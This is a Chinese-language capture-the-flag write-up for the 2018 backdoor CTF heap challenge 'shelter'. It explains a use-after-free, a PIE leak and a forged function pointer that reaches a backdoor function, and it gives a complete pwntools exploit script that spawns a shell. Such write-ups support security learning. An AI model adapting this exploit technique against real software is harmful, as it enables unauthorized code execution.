2018 backdoor CTF

shelter

简单分析下逻辑和思路,程序

1
2
3
4
5
6
7
pwndbg> checksec
[*] '/media/psf/Home/MyCTF/backdoor-ctf/pwn/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

基本保护全开。程序主要有三个功能,一个 now note,新建chunk

其逻辑如下

delete,删除chunk 逻辑如下


会发现,对函数指针elems进行free后并没有进一步去设置为空。

在delete的过程中,我们发现程序有一条指令为call rdx,进一步调试的过程中我们发现rdx的值为elems有关,所以如果我们可以控制或者伪造一个函数指针,然后去call,就控制了程序的流程
help,打印help函数的地址,由此我们可以泄漏程序地址


在程序中,我们还发现了后门函数

,所以总体思路就是泄漏PIE,伪造指针控制程序流程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/env python
# coding=utf-8
from pwn import *


context.log_level = 'debug'
context.terminal =['tmux','splitw','-h']

elf = ELF("challenge")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

r = process("challenge")


def new_note(content):
r.readuntil("choice >")
r.writeline("1")
r.readuntil("Enter content >")
r.writeline(str(content))
addr= r.readline()
addr = addr[11:-2]
return int(addr,16)


def delete_note(index):
r.readuntil("choice >")
r.writeline("2")
r.readuntil("Enter index to delete note >")
r.writeline(str(index))


def help():
r.readuntil("choice >")
r.writeline("3")
local_addr = r.readline()
local_addr = local_addr[17:-2]
return int(local_addr,16)
printa(local_addr)



# leak pie
pie_addr = int(help())
log.info("pie_addr: {}".format(pie_addr))

getshell_addf = pie_addr - 0xC1A+0xA30
log.info("getshell_addf:{}".format(hex(getshell_addf)))
# gdb.attach(r)
pause()

chunk_addr = new_note("A"*8)
log.info("chunk addr: {}".format(hex(chunk_addr)))
next_chunk_addr = chunk_addr + 0x100
log.info("next chunk addr: {}".format(hex(next_chunk_addr)))



# fake function pointer --- getshell
pause()
evil_chunk_addr = new_note(p64(next_chunk_addr+0x10)+p64(getshell_addf))

elems_addr = getshell_addf + (0x202040-0xa30)
evil_index = ((evil_chunk_addr+0x8)-elems_addr) /8
print(evil_index)
pause()
delete_note(evil_index)
pause()
r.interactive()